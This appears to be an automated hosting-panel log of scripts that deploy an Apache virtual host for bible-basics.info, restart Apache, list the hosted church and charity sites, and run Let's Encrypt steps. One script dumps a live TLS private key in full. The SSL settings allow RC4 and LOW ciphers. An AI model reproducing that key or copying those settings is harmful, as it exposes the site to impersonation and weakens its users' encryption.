    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-17 06:00:38: 

PUT: /tmp/pkp406010

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bible-basics_www_info.conf
TARGET=/etc/apache2/sites-enabled/bible-basics_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/bible-basics_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf= 1'
fi


2026-02-17 06:00:38: 

chmod 755 /tmp/pkp406010; /tmp/pkp406010; rm /tmp/pkp406010

2026-02-17 06:00:38: 




2026-02-17 06:00:38: 

PUT: /tmp/pkp516790

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-17 06:00:39: 

chmod 755 /tmp/pkp516790; /tmp/pkp516790; rm /tmp/pkp516790

2026-02-17 06:00:39: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-17 06:00:39: Establishing a connection
2026-02-17 06:00:39: 

PUT: /tmp/pkp185736

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-17 06:00:39: 

chmod 755 /tmp/pkp185736; /tmp/pkp185736; rm /tmp/pkp185736

2026-02-17 06:00:39: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-17 06:00:39: 

PUT: /tmp/pkp614120

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/bible-basics_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-17 06:00:39: 

chmod 755 /tmp/pkp614120; /tmp/pkp614120; rm /tmp/pkp614120

2026-02-17 06:00:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf	1420

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-17 06:00:39: 

PUT: /tmp/pkp247182

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-17 06:00:39: 

chmod 755 /tmp/pkp247182; /tmp/pkp247182; rm /tmp/pkp247182

2026-02-17 06:00:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt	5382
6a:f1:44:20:67:4a:84:ca:47:09:ac:1b:ee:1a:f6:36

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBhQ0rLeGNvtxCaIS9VaZRQ3ZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjE3MDUwMjA2WhcNMjYwNTE4MDUwMjA1WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANgHduHZIYi/gKWBfCeQ6Hu174d/CWCC0pQjq+4oN+E2evXd66eSIOjG7EEg
T9BhKq+4BLyEdiCkmymAXyTkKGsNEGDyQl2n13+h/fgIrr42Tleq/uIb3sq5zMuZ
ppvhUIPz8C7fjJerYiyDQQhJYb9Tgp7tCRgkYLNmmsI9PFSjqEzR2vKwUhb7rlr7
5vHinfQX9MOXfSIkqAAoiC/1VTPCtbFOa69aBDj9EdBIJUiEE4YEGrsqREI1WBpC
njaLbqvffH/91FBcp15iZjl3yniArT1CInlMj0CkX/sU4+bo4rG4BL484VUQxFI6
rviURJJALywuwmkta+WiAQsyX2kCAwEAAaOCAjcwggIzMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRU
PQtGgrEeFgHB94+iVOhAuIZCFjAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc
6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWJpYmxlLWJhc2ljcy5pbmZvghV3d3cuYmli
bGUtYmFzaWNzLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy85MC5jcmwwggENBgorBgEEAdZ5
AgQCBIH+BIH7APkAdwBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAA
AZxqL7LtAAAEAwBIMEYCIQCGczaRIOl2bnCq61/F2yewiQHSgQPqYk58dGCME5Lw
5wIhAII2NAJr6u8y45z6OAltWzW64fTAA5olmTxUWfJvU5z6AH4AGoudaUpXmMiZ
oMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGcai+2bAAIAAAFAEleoSAEAwBHMEUC
IQDyUuxpMUscS5rDqXZYAHnLVkQ3jNGSTtcfX3VLeZPuewIgJEyJ6DJOxgQ8TFwZ
JQJPBDG6xdiQp809QmGN8KQxyMMwDQYJKoZIhvcNAQELBQADggEBAANVoFMFsd+f
RPP+Ju7OKulJUVnKU3g6iE2VGfu7dBeeyHW2FRdcxGcjN3BthpVtewF6OgKbWR9X
6OLBn9Ub3yYNO8/WSPkGd4Jb+dtLl7awbfCg9ZJGuh+rs8WWxhj89LvohNfoSpSG
322G/6tjdgg8BnyN/6kzPBrR7FoSc0bddEfklxogMYqdJLifHwgbvHXfK0W9CG6D
SmnzUw0vLK74i33SIpioCpyt3MwFDmgIKKcQ1M/U0t+r0VEdg1ycAGZ0yriDVjgq
j4jKPmWafxdWGUM/bGisRpoc+rS+UkV0E3N9V9FEIP0Ttj/ZwiKH/SOdxnzHYz3Q
IEfsJdcxcxw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDYB3bh2SGIv4Cl
gXwnkOh7te+HfwlggtKUI6vuKDfhNnr13eunkiDoxuxBIE/QYSqvuAS8hHYgpJsp
gF8k5ChrDRBg8kJdp9d/of34CK6+Nk5Xqv7iG97KuczLmaab4VCD8/Au34yXq2Is
g0EISWG/U4Ke7QkYJGCzZprCPTxUo6hM0drysFIW+65a++bx4p30F/TDl30iJKgA
KIgv9VUzwrWxTmuvWgQ4/RHQSCVIhBOGBBq7KkRCNVgaQp42i26r33x//dRQXKde
YmY5d8p4gK09QiJ5TI9ApF/7FOPm6OKxuAS+POFVEMRSOq74lESSQC8sLsJpLWvl
ogELMl9pAgMBAAECggEAGUkuYhsfMLlxnm28kYkFnU1bXxnAiDpn2Y0fV73/ZG4T
EGpMZg3Vqkl2Z90XWoW1EGJSs5oxlXqO6tmqyU+nZ3hc/Wv91qaJs9fLOVgS1BLZ
MqvCL8chWctLrF0swjwqR3erGmFyPGKEGD+4wfaM6W8l7+JA2UGQzA7reGbgg+t4
8OktLmQHHVr11m+E9UPv+SxeU8S3p+vYA9u2+apBQGepfZ7qRnfvmcbKpBheyqZE
uHrU2l6o9M2tV3YtQ4O9p3JdllgJJI+bJcAYI6s3Zikmj3FIwQRV2L2OToINCEt7
qIxfzu6dZ3YoDBqHKpVk7jJaHB7TCp0kPPdTCQVnjQKBgQD1+Pm064sd2S6shk50
eAUMwRSf7BL/qp4x21DcWFlboiSmh1iOxareLPyaCW56JUAhH07qKYN+8nTUob9Z
31/iREGBEu0PiRsQOfEiXCoZLkNLgORjSYNaoRs+wrXS7L1w+zz9vzVgUry64feF
rSX56VUaq/pgA9aak2Mmm1ZXXwKBgQDg1f4wp6BdaQP/nW8pOw/ihjL4dl5ubZBG
bmeDFPCtSm/XhcmuaYbmLn7vfMvjtBECGDsRoEBfiyJBsGTwyUU0y7vZbeEHowWp
ySCbirHf1PvqE2gefQG+NxmQakBP8IIDjKFky8FPe1n1zo29XUy8NN90zEM6zTAk
2VGCJ8KmNwKBgGxsCuXMzc2iZgh2Sy7bmJ4+nbDAhr9bnc+sNMBr0TerCSy+jDKi
vuagPdhIQAJnWRVAj7B4DBZxGT6A7a/X3pQGMjmK9iPa86r7X2cd6RCga9lkP0fk
p5nTWgcYHL2UzQx4MjJHjmefEMHvyQOLhynZyEGxfPPFvVr1jMb/wddRAoGBANEy
67/zyIgBtaG6p/rSJLaeLYD4CmdvdIXEJnZWHpbvIt+DcaPiNo2oh51oHgIxwn2T
dCqzVBJSUD6U1Wchr04vnwrxbSeA7T0MklWHmHfvIbKr+f4cTGnjtNqlsk9vNln9
GRLDb4v39z16wnGHBWY9QAnaIVfuIbS3rFqRilDDAoGAURzIxVHJTq3q3ge9YxNY
VFFgy34DkmL38SY9svBKkqjfh+KlTY2A48UESxqvpyuSwB7Cesm7EJfjzEJpRO8N
Q83pe8AueaC3tlJC5oBNP2+oFr2nZhv14SJWXHkdmdudLnDQ5/8+9BGa4ylQDt8b
++tWUK/D76po4jPc+8f5LHc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-17 06:00:39: Establishing a connection
2026-02-17 06:00:39: Establishing a connection
2026-02-17 06:00:39: 

PUT: /tmp/pkp972171

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_media/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-17 06:00:40: 

chmod 755 /tmp/pkp972171; /tmp/pkp972171; rm /tmp/pkp972171

2026-02-17 06:00:40: 


1


2026-02-17 06:00:40: Establishing a connection
2026-02-17 06:00:40: 

PUT: /tmp/pkp682779

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cat > M2VqtPH8CwG8UE0pC3mvcLTVvMFjKVU_KPlUmJqoRyM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
M2VqtPH8CwG8UE0pC3mvcLTVvMFjKVU_KPlUmJqoRyM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 M2VqtPH8CwG8UE0pC3mvcLTVvMFjKVU_KPlUmJqoRyM


2026-02-17 06:00:40: 

chmod 755 /tmp/pkp682779; /tmp/pkp682779; rm /tmp/pkp682779

2026-02-17 06:00:40: 




2026-02-17 06:00:50: Establishing a connection
2026-02-17 06:00:50: 

PUT: /tmp/pkp763288

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
rm M2VqtPH8CwG8UE0pC3mvcLTVvMFjKVU_KPlUmJqoRyM


2026-02-17 06:00:50: 

chmod 755 /tmp/pkp763288; /tmp/pkp763288; rm /tmp/pkp763288

2026-02-17 06:00:50: 




2026-02-17 06:00:50: Establishing a connection
2026-02-17 06:00:51: 

PUT: /tmp/pkp214744

#!/bin/bash
temp_file=$(mktemp)
TARGET=761f20410d05cde2a6e96bdaa7145760.crt

cat > $temp_file <<'endmsg'
89:bd:31:65:dc:87:1b:e7:8b:e8:bc:0e:08:62:a8:e0

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBiW+QbOy9jBxk54nOQnLydj0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE3MDUwMjE1WhcNMjYwNTE4MDUwMjE0WjAkMSIwIAYDVQQD
ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA0gL3JXzTFQdZM5WWiQBUhFtulmpLVmUKTM/2DSt5hruOtXmT
AR3rZM/M7a9bfWLvbUGWnXm5ONRlngh0fSEzfbueedggiIlNnmU5n0F7N5YpgJrj
ea+vPumbgGCRw6WFJ1lxspcqsgROvmYBPnRneCbCjLsIGHlixd0glmX2nl1XSAYm
wJO98Br4q9Pm1AZo4RiTvZ+nRO1tcJslvXXFsBDbZhZThZ3z+CFsBR+NbUoV0vbo
P8jy2S1h5Om6zWmxDa6WH9ILAX0GI3LNFLajKOF0lrQRPhg1/1yc/Ruz9W6s1d3x
pQe1DNLiWYoCnM0VJ0WxlzrBalU5ebu+4hhCsQIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFLd6+LK5tZlGpMpEOX+qBPQzpI3MMB8GA1UdIwQYMBaAFOernw8sM6BT
